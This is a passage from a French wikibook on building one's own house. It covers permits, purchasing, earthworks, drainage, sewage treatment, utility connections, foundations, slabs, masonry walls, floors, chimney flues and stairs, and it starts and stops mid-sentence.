compétents de la [[w:Direction départementale de l'équipement|Direction départementale de l'équipement]] (DDE, en France) seront d’une aide précieuse, on peut les consulter à toutes les étapes du projet. Ensuite se présenter à la mairie pour déposer le dossier (5 exemplaires) et se faire remettre le récépissé de demande de permis de construire. Le délai de retour du permis de construire peut dépasser 3 mois dans certains cas particuliers (zone protégée, proximité d’un monument historique...). Après réception de l’autorisation, il faut procéder à l’affichage des principales informations figurant sur le permis de construire. Textes de référence&nbsp;: * Loi n° 77-2 du 3 janvier 1977 sur l’architecture. * Articles L 421-2 et R 421-1 du code de l’urbanisme. Voir : [[w:Autoconstruction - Faire ses tâches administratives|Autoconstruction - Faire ses tâches administratives]] == Devis, négociations, achats == Bien qu’on n’ait pas l’intention de faire appel à eux, il est très instructif de faire établir, à partir des plans détaillés, des devis par différents artisans pour chacun des corps de métier. Les solutions proposées et la discussion avec les hommes de l’art sont aussi un bon moyen de formation. Il n’est pas rare que les avis divergent car il n’y a pas toujours de solution idéale à un problème et il peut y en avoir plusieurs équivalentes. Les montants estimatifs seront conservés pour calculer l’économie réalisée en faisant par soi-même. Les quantités nettes calculées (masse de [[w:ciment|ciment]], volume de bois de charpente, longueurs de tubes de cuivre sanitaire...) seront majorées de 10 ou 20% pour tenir compte des pertes et des chutes, en particulier pour le bois de charpente, le sable. Comme les livraisons seront généralement fractionnées, on pourra rectifier le tir lors des commandes suivantes. Par contre le [[w:béton|béton]] prêt à l’emploi sera calculé au plus juste car il ne se stocke pas (voir chapitre ''fondations''). Les prix des matériaux varient dans de grandes proportions en fonction de la quantité et du chiffre d’affaire. Certaines négociants proposent des «&nbsp;prix artisans&nbsp;» qui n’ont pas vraiment de sens, seul le montant à payer importe. Les qualités du service, délai de livraison, condition de transport et de déchargement, délai de paiement, possibilité d’échange et de reprises, etc., entrent en ligne de compte dans le choix du fournisseur. Il est généralement possible de négocier des remises par type de produit et d’ouvrir un compte chez un ou deux marchands de matériaux&nbsp;; se munir des quantités estimées et du jeu de plans de détail. Comparer les produits d’un négociant à l’autre, il peut y avoir des différences énormes de qualité pour deux matériaux apparemment identiques. Tenir compte de la durée de conservation (ciments, peinture...) et du coût de stockage (place, abri, bâche, argent immobilisé...) avant de déterminer le volume à acheter. Temps moyens d’exécution voir&nbsp;: [http://www.batitel.com batitel.com] entre autres. == Les plans de détail == Lorsque le plan d’ensemble de chaque niveau est stabilisé on peut alors passer au dessin des plans de détails à l’échelle 2/100 par corps de métier&nbsp;: * Terrassement&nbsp;: plan de piquetage, chemin d’accès, position des terres, tranchées d’évacuation. * Maçonnerie&nbsp;: fondations, murs du sous-sol, dalles, plan des façades * Charpente, planchers sur solive... * Cloisons de doublage et de distribution, mobilier... * Evacuations des eaux usées, passage des canalisations principales (PVC, cuivre, gaz...), cuves de stockage, assainissement... * Canalisations et circuits électriques, gaines techniques... Ces plans serviront aussi à déterminer l’approvisionnement des matériaux, au calcul de devis plus précis, à la réalisation et à la maintenance future. Ils seront corrigés au cours de la réalisation et seront conservés éternellement dans le dossier de la construction avec les photos prises en cours de la réalisation. Sommaire général : [[Construire sa maison]] Construire sa maison - Le terrassement 7256 34601 2006-02-24T22:48:45Z F5ZV 1177 création chapitre Sommaire général : [[Construire sa maison]] Les travaux de terrassements sont extrêmement variables d’un chantier à l’autre, selon la configuration du terrain, le volume enterré de la construction, la nature du terrain (roche, sables...). Un sol compact limite l’effondrement des parois qui se produira immanquablement dans un terrain formé d’alluvions. Les plus grandes difficultés surgissent quand on rencontre un sol non homogène, formé d’un banc de roche adjacent à un terrain plus meuble. L’assise de la construction nécessite des fondations renforcées. == Organisation du chantier == La terre végétale est précieuse, elle doit être décapée et mise soigneusement de côté&nbsp;; On l’utilisera pour le regarnissage, en fin de chantier, elle sera stockée à part, en un tas ne gênant pas la circulation. Le volume des terres stériles à évacuer est la différence entre le volume enterré du bâtiment et le volume du remblais nécessaire pour la mise en forme définitive du terrain. Si la quantité de terre à évacuer dépasse quelques dizaines de mètres-cube, le coût d’évacuation peut-être élevé et il faudra rechercher un lieu de dépôt. Le coût du transport peut être supporté par celui qui recevra les remblais dans la mesure où ce dernier est demandeur. La meilleure date pour effectuer les travaux de terrassement est la saison froide quand le sol est gelé (pour les régions du nord), ailleurs il vaut choisir la période la plus sèche et éviter de travailler sur un terrain détrempé. Réserver longtemps à l’avance la capacité du terrassier et discuter avec lui de l’organisation du chantier, en allant directement sur le terrain. La voie d’accès au chantier devra être aménagée dès le début des travaux. Prévoir les zones de circulation et de stockage des matériaux, la zone de manœuvre des camions... Tenir compte des futures tranchées à creuser pour l’eau, l’électricité... == Piquetage == Commencer par repérer avec certitude les bornes et limites de terrain. Pour cela on aura grand intérêt à consulter les propriétaires voisins, à mesurer au décamètre toutes les dimensions pour vérifier la conformité du plan à la réalité. En cas de litige le recours à un géomètre est quasi indispensable. Inutile de commencer les travaux avant que tout doute ait disparu. Le piquetage doit être effectué en accord avec le terrassier qui donnera les consignes et la méthode à laquelle il est habitué et fournira éventuellement le matériel. Un point de référence pour le nivellement sera choisi en tenant compte du niveau naturel du sol, des écoulements, de la visibilité par rapport au chantier... Cette référence sera située en un endroit non concerné par les travaux et pouvant être retrouvé rapidement avec certitude (le marquer sur le plan). Profiter de la présence du terrassier (ou du géomètre) avec sa lunette de nivellement pour relever les niveaux de plusieurs points régulièrement répartis (bornes...) Pour mieux se rendre compte de l’effet final lié à l’implantation, on peut tracer au sol le pourtour et la disposition des principales ouvertures en utilisant du plâtre en poudre. == Le terrassier == Cet artisan interviendra à plusieurs moments de la construction&nbsp;: * Fouilles principales, nivellement, réalisation du chemin d’accès... * Rigoles de fondations * Tranchées pour les raccordements, évacuations... * Assainissement, pose de la fosse toutes eaux, filtre... * Drainage, remblaiement (mouvements de terre), regarnissage en terre végétale Le terrassier est un sculpteur de terrain. De la qualité de ses premières interventions dépendront les conditions de travail de l’autoconstructeur pendant des mois lors de la réalisation de la maçonnerie, charpente... Le modelé du terrain, l’harmonie des volumes remblayés seront directement liés à ses qualités artistiques. Lorsque le terrassier a fini son travail, la future pelouse doit ressembler à un jardin, pas à un champ labouré. Autre détail&nbsp;: dans le cas d’un sous-sol, les tolérances sur la planéité et l’horizontalité du sol devront être inférieures à 10&nbsp;cm. Les qualités d’un bon terrassier qui intéressent l’autoconstructeur sont&nbsp;: * respect des engagements (dates, prix, contenu de la prestation...) * connaissance du sous-sol et habitude de ce genre de travaux * souci du travail propre et bien fait * disponibilité et souplesse pour de petites interventions épisodiques * bon rapport qualité-prix Le terrassier le moins cher ne sera peut-être pas le plus méticuleux. Avant d’en choisir un, il est indispensable de voir par soi-même sa façon de travailler. Ce métier étant sensible au temps, il est en partie saisonnier. On aura intérêt à convenir au plus tôt de la période de réalisation des fouilles. Selon le type de terrassement, les engins utilisés pourront être différents&nbsp;: si un tractopelle est indispensable pour creuser des rigoles ou tranchées, un bull sera sans doute plus rentable si le volume du trou dépasse une centaine de mètres-cube. Si une partie des terres doit être évacuée, ou si du remblai doit être rapporté par la suite, il sera plus efficace que le terrassier possède lui-même un camion. Les périodes les plus adaptées au travail de terrassement sont les moments où le sol est sec ou gelé. == Assainissement == === Législation === L'application des nouvelles normes a modifié profondément les règles à appliquer. Il importe de se renseigner auprès des services compétents de la commune, de la communauté de communes ou de la DDAS. === Évacuation des eaux === Dés le début des travaux il est nécessaire d’évacuer toutes les eaux (sources mises au jour, ruissellement de la pluie...). Il peut être judicieux de réaliser sans attendre le raccordement à l’égout, au fossé ou du moins à un point plus bas du terrain. Les propriétaires des terrains voisins situés en contrebas ne peuvent s’opposer à l’évacuation des eaux de pluie et de drainages, par contre ils peuvent réclamer une participation aux frais engendrés par des travaux d’évacuation. Le choix de la canalisation principale d’évacuation doit être fait en tenant compte&nbsp;: * de la pente (au moins 5%) * du débit maximum d’eau à évacuer (au présent et dans le futur) avec un coefficient de sécurité confortable. Un diamètre de 200&nbsp;mm est un ordre de grandeur pour une maison (pluie, drainage...) * des déformations possibles du terrain qui pourraient provoquer la formation de points bas Deux types de matériaux sont concurrents&nbsp;: le béton et le PVC. Par rapport au premier le PVC est plus léger, en grandes longueurs, plus cher, plus facile à mettre en œuvre, moins résistant à l’écrasement. En cas d’utilisation de tubes en béton, bien cimenter les raccords pour éviter les intrusions de racines des arbres proches. La [[w:Pose d'une canalisation d'égout|pose d’une canalisation]] n’est pas problématique mais doit être réalisée avec soin et un minimum de règles. Des regards seront placés de façon à permettre la visite et le nettoyage&nbsp;; leur diamètre est fonction de leur profondeur. Les sorties doivent être grillagées pour interdire l’introduction d’objet (ballons d’enfants...) ou d’animaux (rats...). La profondeur de la canalisation est importante&nbsp;: trop faible il y a risque de gel et d’écrasement par les véhicules. Avant rebouchage, relever soigneusement la position et la profondeur des canalisations par rapport à des repères permanents (angle de mur, bornes...). Conserver en lieu sûr le document. === Tout-à-l’égout === Pour ce point il est nécessaire de se renseigner auprès des services compétents de la commune, de la communauté de communes ou de la DDAS. === Système de traitement individuel === Beaucoup d’habitations isolées, mais aussi parfois situées dans des villages non équipés d’assainissement collectif, sont équipées d’un système d’assainissement individuel. Dans ce cas, l’investissement est généralement plus élevé qu’un simple raccordement au tout-à-l’égout mais l’exploitation est moins coûteuse et se limite à la vidange de la fosse toutes-eaux et au remplacement régulier du sable du filtre. Un système d’assainissement individuel se compose d’une fosse toutes-eaux dans laquelle se déversent à la fois les eaux vannes (toilettes) et les eaux usées (salle de bain, cuisine...). Elle sert d’immense bac à décantation (plusieurs mètres-cube) et doit être vidangée régulièrement. L’activité microbienne qui était propre à la fosse septique est ici contrariée par la présence des produits chimiques déversés sans discernement dans la fosse toutes eaux. La position de la fosse devra être déterminée par l’accès du camion de vidange. La mise en place de la fosse sera faite avec l’aide du terrassier (qui peut être le fournisseur du matériel). Les regards de visite et de raccordements (entrée et sortie de fosse) seront repérés avec précision, comme pour les canalisations d’eau pluviale. On essayera de prévoir un éventuel raccordement au tout-à-l'égout si un tel réseau était installé dans le futur. La ventilation de la fosse pourra passer par l’intérieur de la maison, mais déboucher directement sur le toit, à bonne distance des zingueries, fenêtres et balcons. On ne doit pas la raccorder sur le système de VMC, surtout si ce dernier ne fonctionne pas en permanence. En plus de l’évacuation des gaz dus à la fermentation, la ventilation de la fosse évite la surpression créée par l’action de la chasse d’eau. La sortie de la fosse est raccordée à un regard qui permet d’observer la nature de l’eau en sortie et de vérifier ainsi que la fosse n’est pas pleine de matières décantées. Si c’était le cas, le moment de la vidange serait venu. L’eau en sortie de fosse n’est pas limpide, loin s’en faut, et elle devra être épurée dans un filtre à sable de plusieurs mètres cubes. L’eau sale arrive par le haut du filtre et l’eau épurée s’écoule en partie basse. Un regard en sortie permet d’effectuer des prélèvements pour analyse éventuelle. == Raccordements == Contrairement aux [[w:Maison autonome|maisons autonomes]], chaque pavillon doit être relié aux réseaux publics comme par exemple&nbsp;: * distribution d’eau * réseau électrique * téléphone * gaz * égouts * câble TV En général la responsabilité du distributeur (syndicat des eaux, EDF...) s’arrête en limite de propriété. Le compteur électrique est placé en limite, dans un coffret fourni et installé par le client mais il arrive que le compteur électrique soit installé chez le client et qu'un dispositif de relévé à distance soit installé en bordure de propriété. Le problème est différent pour le réseau d’eau potable&nbsp;: le compteur d’eau (fourni par le distributeur) est placé sous la responsabilité du client. Le compteur d’eau, sensible au gel sera de préférence abrité dans la construction. Cette précaution permettra aussi de détecter instantanément une fuite située après le compteur et par conséquent de limiter le coût de l’eau perdue qui serait facturée immanquablement au client (parfois des milliers de mètres-cube&nbsp;!) Le raccordement aux réseaux téléphonique et électrique peut s’effectuer par un câble aérien (solution la moins chère et la moins esthétique) ou par un câble souterrain plus discret et moins gênant. Les câbles enterrés sont passés dans des gaines spéciales très résistantes. Leur diamètre intérieur est largement surdimensionné. Un ''tire-fil'' est passé dans la gaine au moment de sa fabrication. La profondeur d’enfouissement des canalisations est réglementée et dépend de la nature du fluide transporté et de l’endroit. Pour mieux repérer une canalisation lors des fouilles futures, un filet avertisseur en matière plastique de couleur particulière au type de canalisation est déroulé au-dessus de cette dernière (Norme&nbsp;: NF T 54-080). Même si les branchements ne sont pas effectués tout de suite, les gaines seront enfouies au plus tôt. Des branchements provisoires d’[[w:Électricité_(bricolage)|électricité]] et d’eau dits «&nbsp;de chantier&nbsp;» peuvent être demandés. Un abonnement électrique de chantier est assez onéreux et comme la consommation est très faible pendant la réalisation du gros-œuvre, l’électricité pourra être produite au début par un petit groupe électrogène ou fournie par un voisin complaisant. == Remblaiement == Un mètre-cube de terre remuée occupe plus de volume que la terre tassée (phénomène de foisonnement), ce qui implique de majorer l’épaisseur de remblai pour tenir compte du tassement qui peut s’effectuer durant de nombreuses années. Toute construction postérieure au remblaiement devra reposer sur le sol ferme, ce qui implique parfois de creuser profondément pour établir une semelle de fondation, même pour une construction «&nbsp;légère&nbsp;» comme une véranda... L’aménagement d’une terrasse sur un remblai quelque peu épais devra être considéré comme provisoire (dalles ou pavés sur sable ou sur gravier et non pas dalle bétonnée monobloc). L’utilisation d’un engin à chenilles est préférable pour faciliter la stabilisation. Selon la nature et l’épaisseur du remblai la stabilisation peut prendre de un à dix ans. Le remblaiement commence par le décapage de la terre végétale, si ce n’est déjà fait, suivi de la réalisation des tranchées et la pose des regards, fosses... La terre stérile est ensuite répartie suivant la forme à donner au terrain. Si le terrain est humide, le moment est venu de poser les drains puis la bonne terre est étalée sur une couche d’au moins 15 à 20&nbsp;cm pour le gazon (mais jusqu’à 80&nbsp;cm pour un arbre). La pente à donner doit être suffisante pour faciliter le ruissellement de l’eau de pluie mais ne pas dépasser 50&nbsp;% si un engazonnement est prévu. == Drainage == Le but du drainage est de protéger la partie basse de la construction (fondations, sous-sol, bas des murs extérieurs des infiltrations d’eau (sources, ruissellement...) en construisant une canalisation poreuse ceinturant au plus près le bâtiment, en-dessous de son point le plus bas. Le drainage est une opération importante qu’il convient de réaliser soigneusement, même dans le cas d’un vide sanitaire. Réalisation&nbsp;: * dégager sur au moins soixante centimètres de large le pourtour du bâtiment jusqu’au niveau du point le plus bas (par ex.&nbsp;: plancher du sous-sol) * niveler le fond de fouille avec une pente minimum de 1&nbsp;cm par mètre. * enduire les murs d’une peinture étanche spéciale fondations sur au moins un demi-mètre de haut * recouvrir les murs enterrés d’un film spécial (feuille de plastique semi-rigide muni de bossages) * poser le drain bien à plat en le calant avec du gravier 5/15 * mettre en place les regards ou coudes de raccordement à chaque changement de direction * installer le regard collecteur au point d’évacuation qui est aussi le point le plus bas * recouvrir le drain avec environ 50&nbsp;cm de gravier ou de galets * couvrir le lit de gravier avec un géotextile pour éviter la pollution du drainage avec les terres de remblaiement * remblayer avec au minimum vingt centimètres de terre. Si une source est mise à jour lors des fouilles, il est nécessaire de la capter et de l’évacuer comme on le fait avec les eaux de pluie. Les drains en barres rigides de PVC avec une rigole en partie inférieure doivent être préférés au drain agricole trop souple et plus fragile. Si nécessaire on peut installer un deuxième drain au dessus du premier dans les endroits particulièrement exposés (murs ouest, par exemple) == Voies et chemins == Une construction isolée au milieu d’un terrain peut comporter&nbsp;: * un chemin d’accès au garage ou à la place de stationnement * une allée piétonne pour se rendre à la porte d’entrée * des allées permettant de se rendre en divers endroits du terrain (jardin, abri, piscine...) ou faisant le tour de la maison Au début de la construction, et tant que le remblaiement n’a pas été effectué, on se contentera de faire réaliser un chemin d’accès résistant au passage des véhicules les plus lourds. La réalisation de ce chemin consiste en&nbsp;: * décaissement (enlèvement de la terre végétale) sur une profondeur allant en général de 20 à 30&nbsp;cm * mise en place d’un géotextile pour éviter le mélange de la terre et de la première couche de concassé * épandage d’une couche de roche concassée (tout-venant 0-50) sur une épaisseur de 20&nbsp;cm environ. Cette première couche constituera l’ébauche du chemin définitif. Elle sera damée par le passage des véhicules et sera stabilisée lorsque la maison sera terminée, prête à recevoir le revêtement final (pavés, macadam...). La pente du chemin ne devrait pas excéder 10%. Si le chemin est long, une place de retournement doit être aménagée à proximité de la sortie du garage. Les murs de soutènements seront si possible réalisés en même temps que les murs du sous-sol. Ils devront être surdimensionnés et drainés pour résister à la pression de la terre, en particulier par temps de gel. Si la hauteur dépasse 1,5&nbsp;m, on pourra leur donner une inclinaison de 5 à 10% qui limitera l’impression de muraille. Intermédiaire entre le mur de soutènement et le simple talus, il existe la possibilité de maintenir les terres à l’aide de blocs comportant des alvéoles destinées à recevoir des plantes. On trouve des pavés ajourés (en béton, en platique) qui permettent de réaliser des places de parking stables et verdoyantes. C’est une bonne solution pour conserver la surface de terrain absorbante pour la pluie. Sommaire général : [[Construire sa maison]] Construire sa maison - La maçonnerie 7257 34607 2006-02-24T23:56:26Z F5ZV 1177 création chapitre Sommaire général : [[Construire sa maison]] La réalisation des murs et des dalles est une grosse étape du gros-œuvre mais c'est une des plus intéressantes. Chacune des opérations doit être réalisée avec soin et dans les règles de l'art. En cas de doute, il vaut mieux faire appel à un homme de l'art compétent. On peut refaire une charpente, pas une maçonnerie complète... == Fondations == Les fondations sont un élément essentiel de la construction. Elles constituent une base rigide qui supporte la masse de la maison toute entière (des centaines de tonnes) et répartit cette charge sur le sol de façon à ce qu’aucun mouvement du bâtiment ne soit décelable. Elles sont constituées d’une ensemble de poutres (encore appelées ''semelles'') en béton armé solidement reliées entre elles. La surface des fondations est calculée pour que la pression (en MPa = N/mm²) soit inférieure à la résistance du sol et ce en toutes circonstances (fortes pluie, sécheresse, gel...). Cette surface est proportionnelle à la largeur de la semelle et doit être déterminée à chaque endroit en fonction de la charge locale à supporter (mur, conduit de fumée, escalier, poteau...) et des variations de résistance du sol à la pression. Les semelles sont coulées dans des fouilles en rigoles de section pratiquement carrée creusées par le godet d’un tracto-pelle. Le fond des rigoles doit être propre au moment de la coulée et la surface des semelles sera nivelée de façon à faciliter la pose des murs. L’opération de coulage est relativement rapide si l’on fait appel à un fournisseur de béton tout prêt. Comme il est difficile de calculer au plus juste, on aura intérêt à prévoir un ouvrage coffré et prêt à être coulé au cas où il y aurait un surplus avec les fondations. À contrario on peut commander un peu moins que le volume estimé et compléter avec du béton fabriqué «&nbsp;à la main&nbsp;». Prévoir dans ce cas sable, gravier, ciment et eau ainsi qu’une petite bétonnière. Cette façon de faire peut être appliquée pour le coulage des dalles. == Sous-sol ou vide sanitaire == La différence entre sous-sol et vide sanitaire n’est pas seulement une question de hauteur&nbsp;: accès extérieur, nivellement du sol, éclairage, drainage... sont nécessaires dans le cas d’un sous-sol. Ce dernier nécessite une hauteur entre sol et plafond d’au moins 2&nbsp;cmètres sous les linteaux. S’il est entièrement enterré on l’éclairera à l’aide de larmiers débouchant dans des ''cours anglaises''. Il n’est pas rare qu’un sous-sol soit aménagé par la suite pour être habitable. Il vaut mieux prévoir dès le début les écoulements pour installer par la suite des toilettes ou une salle de bain n’est pas une précaution inutile. Les ouvertures seront prévues en conséquence (larmiers ou fenêtre, portes, etc.) Un sous-sol bien drainé ne doit pas être humide. Toutefois dans une pièce chauffée d’un sous-sol et non isolée peut se produire de la condensation qui pourrait laisser croire à des infiltrations. Le sol pourra être isolé en ajoutant un plancher sur lambourdes si l’on a prévu une hauteur suffisante dès le départ, mais il conviendra dans ce cas de ventiler correctement les locaux car un plancher bois est très sensible à l’humidité. == Dallage béton == La réalisation d’un dallage béton dans un sous-sol peut être envisagée avant de monter le cloisonnement, ce qui permet de travailler au propre dans toutes les phases suivantes. Cette opération se fait selon les mêmes règles que l’on soit à l’intérieur ou à l’extérieur&nbsp;: * décapage de la surface pour atteindre le sol stérile et ferme * drainage si nécessaire * mise en place d’un géotextile * pose des gaines et canalisations (écoulement, siphons, regards...) * étalement d’un blocage (hérisson) de roche concassée (10/50) et stabilisation. * pose d’un treillis soudé si nécessaire aux endroits de forte charge * mise en place de règles (tube diamètre 40mm) parallèles et horizontales en tenant compte du niveau fini et de l’épaisseur de la chape de finition. Une légère pente facilitera l’écoulement des eaux vers les siphons éventuels(généralement placés au centre). * coulage d’un béton grossier (250kg de ciment par mètre cube, sable et gravier 5/15) pour obtenir une épaisseur de 10&nbsp;cm minimum. * mise en place d’un film en polyane (pour éviter les remontées d’humidité). * réalisation d’une chape mortier (sable 0-5, 300kg de ciment/m³) lissée ou bouchardée ou destinée à recevoir une peinture, un carrelage... == Les murs, portes et fenêtres == Comme le béton banché est hors de portée de l’amateur, les murs seront généralement montés en parpaings. Pour le sous-sol ou les murs de soutènement, on choisira une épaisseur de 25&nbsp;cm ou des parpaings spéciaux, dits «&nbsp;de [[w:Coffrage|coffrage]]&nbsp;», qui peuvent être remplis de béton garni de ferraille. Les étages seront montés en parpaings de 20&nbsp;cm. Le parpaings de 15&nbsp;cm est plus délicat à monter et les 5&nbsp;cm gagnés ne sont pas déterminants dans le choix. L’utilisation de briques (isolantes ou non) pour les murs de l’habitation est possible mais plus délicate, en particulier pour la réalisation des enduits]]. Le béton cellulaire est un produit séduisant par sa légèreté et son facteur d’isolation mais son prix de revient est plus élevé. En outre il n’est pas évident de réaliser un enduit résistant aux intempéries et au gel sur un mur exposé. L’outillage le plus important est l’échafaudage. Pour une hauteur d’étage (inférieure à 3m) on peut se débrouiller avec des piles de parpaings et de bon madriers. Pour terminer les pignons il faudra sans doute s’en procurer un. Compte tenu du poids des parpaings, un matériel sérieux est indispensable. Les murs sont de deux sortes&nbsp;: * murs extérieurs ou de pourtour, ils sont percés de portes extérieures et de fenêtres et généralement doublés par une isolation thermique. * murs de refend, intérieurs, ils servent de renforts pour rigidifier la construction, porter les poutrelles de la dalle et partitionner l’étage en différents volumes. Leur épaisseur est parfois plus faible que celle des murs de pourtour (15&nbsp;cm au lieu de 20&nbsp;cm pour les parpaings en béton). La partie inférieure d’une ouverture est matérialisée par un seuil (pour les portes) ou par un ''appui'' (pour une fenêtre) qui peuvent être coulés en place ou préfabriqués. Tenir compte des huisseries (portes et fenêtres) avant de couler, commander et installer un seuil ou un appui. Dans certaines régions les ouvertures extérieures sont encadrées par des jambages en briques, pierres de taille... La partie supérieure d’une ouverture (intérieure ou extérieure) est constituée par un linteau reposant sur les murs et supportant la charge du mur, de la dalle ou de la charpente placés au-dessus de lui. Le linteau peut être une poutre en béton armé ou préfabriqué. Il existe des linteaux préfabriqués en forme de coffrage (ou coffre de volet roulant) dans lequel on coule du béton. La partie supérieure du linteau est parfois constituée par le chaînage de la dalle. Le chaînage surmonte les murs et réunit ceux-ci de façon ferme puisqu’il s’agit d’un ensemble de poutres en béton armé travaillant essentiellement à la traction. Il est souvent coulé en même temps que la dalle et son ferraillage se marie avec les poteaux de coins, piliers... À la fin de la construction, les murs extérieurs seront enduits, crépis ou bardés (avec ou sans isolation extérieure) pour mieux résister à la pluie. Il est préférable d’attendre la fin du gros œuvre pour enduire les murs à cause des microfissures qui pourraient apparaître au moment de la stabilisation de la construction. La dalle repose sur les murs. Pour qu’elle soit bien horizontale, il est nécessaire d’araser le dessus des murs en coulant sur toute leur longueur un couche de mortier de quelques centimètres d’épaisseur, nivelée au niveau à eau ou mieux, à l’aide d’un laser balayant de bonne qualité. D’autres matériaux ou techniques de construction sont aussi utilisés&nbsp;: * brique alvéolée isolante&nbsp;: la pose en joint mince permet un gain de temps à la construction, et l’ajout d’isolant n’est pas nécessaire&nbsp;; * colombage&nbsp;: dans certaines régions. Les vides peuvent être comblés par du béton cellulaire, de la brique enduite&nbsp;; * pisé&nbsp;: expérimental&nbsp;; murs de terre posée par couches successives, puis "tranchée" à dimension&nbsp;; technique utilisée en Ille-et-Vilaine en construction traditionnelle&nbsp;; * ossature bois&nbsp;: pour ceux qui préfèrent le travail du bois à la maçonnerie conventionnelle. == Plancher, poutrelles et hourdis == La réalisation d’une dalle de compression sur un plancher poutrelles/hourdis peut sembler un travail de spécialiste, pourtant il n’y a que le coulage qui soit délicat et nécessite à la fois d’être bien préparé (car le béton prêt n’attend pas) et d’avoir l’aide d’une poignée d’amis fiables. L’étude du plancher, c’est-à-dire le calcul des poutrelles, l’estimation des hourdis nécessaires... est effectué par un technicien au service du fournisseur du matériel à partir d’un plan coté exact de la maçonnerie indiquant les endroits subissant des surcharges (cheminée, gros aquarium...), les balcons, escaliers... Le néophyte aura intérêt à visiter plusieurs autres chantiers, voire à donner un coup de main à préparer ou couler chez quelqu’un d’autre. Pour la préparation d’une dalle, il est fortement conseillé d’être deux. Les opérations successives pour la préparation d’un plancher poutrelles/hourdis sont&nbsp;: * Vérification de la livraison, tri des poutrelles en fonction de leur longueur. * Pose des poutrelles sur les murs arasés et sur les linteaux. Replier les fils d’acier à 90 degrés si nécessaire. Les poutrelles reposent à leurs extrémités sur 5&nbsp;cm environ. * Répartir les poutrelles en utilisant un hourdis à chaque extrémité comme entretoise. * Placer les hourdis. * Étayer dans l’axe de chaque travée en utilisant des chevrons en partie haute et des madriers sur le sol. Ne pas trop brider les étais car les poutrelles précontraintes ont une contre-flèche qu’elles perdront lorsqu’on enlèvera les étais et seront alors à peu près droites. * Réaliser le coffrage des rives de dalle (planches, liteaux, serre-joints de maçon...) en tenant compte de la hauteur finie de la dalle. * Coffrer la trémie de l’escalier et les réservations les plus importantes (gaines techniques). * Ferrailler le chaînage, les bords de la trémie... * Mettre en place le ferraillage du balcon éventuel et le maintenir soulevé avec des entretoises. * Placer le treillis soudé en plaque et attacher celles-ci avec du fil de fer. * Vérifier une dernière fois la solidité et le niveau des coffrages. L’épaisseur de béton est de l’ordre de 4 à 6&nbsp;cm mais on doit majorer le volume calculé pour tenir compte de la forme des poutrelles (en T) et des hourdis. En outre il va falloir couler le chaînage en même temps. On trouve dans le commerce des éléments de ferraillage tout prêts Le coulage proprement dit de la dalle est une opération simple mais assez délicate. Pour que celle-ci soit étanche à la pluie (le chantier va quand même durer quelques mois) il est préférable de couler en une seule fois avec du béton prêt à l’emploi apporté par une ou plusieurs «&nbsp;toupies&nbsp;». Lors de la commande du béton on précisera qu’il s’agit d’une dalle. Si l’opération se déroule à la période froide il est possible d’ajouter de l’antigel et si le ''tirage'' de la dalle doit prendre plusieurs heures on peut éventuellement demander au livreur de rajouter quelques dizaines de litres d’eau, à moins que le temps ne soit à la pluie. Le temps idéal correspond à une température de 10 à 20°C, couvert mais sans pluie. Par temps ensoleillé ou très sec on peut lutter contre le dessèchement de la surface en arrosant doucement. Un léger ''écroûtage'' de la surface est sans importance. Le gel est plus gênant, si la dalle n’est pas trop grande on pourra envisager de la recouvrir par une bâche. Bien que le béton «&nbsp;prenne&nbsp;» en quelques heures, il est préférable de ne pas poser de charges lourdes sur la dalle avant plusieurs jours. Une palette de parpaings représente plus d’une tonne, et même si l’étayage est bien fait la dalle va fléchir et se fissurer. Ces microfissures ne sont généralement pas gênantes, sauf si l’on compte sur la dalle pour protéger de la pluie le matériel stocké en dessous d’elle. Normalement on attend 4 semaines avant d’enlever les étais. == Conduits de fumée == Un conduit de fumée peut être utilisé pour&nbsp;: * une cheminée d’agrément (feu ouvert ou insert), * une chaudière ou poêle (bois, charbon, fioul...), * une cuisinière ou fourneau, * un barbecue extérieur, * un four à pain ou à pizza. La section du conduit et la hauteur d’un conduit dépend de son type d’utilisation. Le débit nécessaire à une cheminée à feu ouvert est beaucoup plus grand que celui requis pour un simple poêle. Il faut un conduit par type d’utilisation et par niveau. Installer un conduit inutile est bien moins coûteux que d’en ajouter un après la fin des travaux. En général le conduit de fumée est appuyé contre un mur de refend ou un mur pignon et débouche sur le toit à proximité du faîte. Pour que le tirage soit bon, certaines règles sont à respecter&nbsp;: la souche (partie dépassant du toit) doit dominer le faîte d’au moins 40&nbsp;cm et se trouver plutôt sur le pan de toit non exposé au vent dominant, dans la zone de dépression. En isolant le conduit avec de la laine de roche jusque sous le toit on diminue le risque de bistrage (condensation sur les parois internes du conduit) et le démarrage est plus rapide car le conduit se réchauffe plus vite. Que le conduit soit en béton ou en terre cuite, la souche devra être étanche aux infiltrations de l’eau de pluie. Un habillage en zinguerie, bardage, enduit lissé, crépit ou en briques de parement rendues hydrofuges après la pose convient dans la plupart des cas. La souche est couronnée par une plaque, une poterie (''mitre'' ou ''mitron'') ou une construction en briques (variable selon les régions) qui réduisent les effets de la pluie. Un accélérateur de tirage peut faciliter le fonctionnement de la cheminée dans les cas de grand vent. Le conduit est monté en plusieurs étapes et suit la réalisation de la maçonnerie. Dans les combles, il est monté en parallèle avec la charpente. La surface interne du conduit ne doit pas se trouver à moins de 20&nbsp;cm d’une poutre, solive ou matériau inflammable, cette règle (l’écart de feu) impose parfois de dévoyer un conduit pour le faire contourner une panne. Si un chevron ou une solive se trouve placé tel qu’il devrait traverser le conduit, il est nécessaire de réaliser un chevêtre. La conception du conduit doit tenir compte des conditions de ramonage (trappe, accès à la souche...) et sa réalisation doit respecter certaines règles qu’il serait trop long de détailler ici (sens des boisseau, haubanage des souches trop hautes...). Si nécessaire la section d’un conduit peut être réduite et celui-ci rendu étanche par un ''tubage'' en acier inox. Il existe aussi des solutions légères et moins traditionnelles (mais peut-être plus coûteuses) pour réaliser un conduit de fumée dans des conditions particulières. == Escaliers == Réaliser un escalier en béton n’est pas difficile mais nécessite un coffrage et un ferraillage sérieux et le respect de quelques règles. Dans certains cas, il vaut mieux installer un escalier en bois (voir cette section). Pour être agréable et sûr dans son utilisation, un escalier doit être bien balancé s’il est tournant, avec des marches dont le giron (la largeur) est compris entre 23 et 28&nbsp;cm et dont la hauteur de la contremarche est comprise entre 15 et 21&nbsp;cm. Il existe une formule qui fixe l’idéal (s’il en existe un&nbsp;?)&nbsp;: la somme de la largeur de la marche et de deux fois la hauteur de la contremarche doit être comprise entre 60 et 64&nbsp;cm. Cependant un giron inférieur à 23&nbsp;cm et une hauteur supérieure à 21&nbsp;cm sont déconseillés. Tenir compte de l’épaisseur de l’habillage des marches et des revêtements de sol futur dans le calcul de la hauteur. La largeur idéale d’un escalier est de 1,2&nbsp;m mais on peut descendre à un minimum de 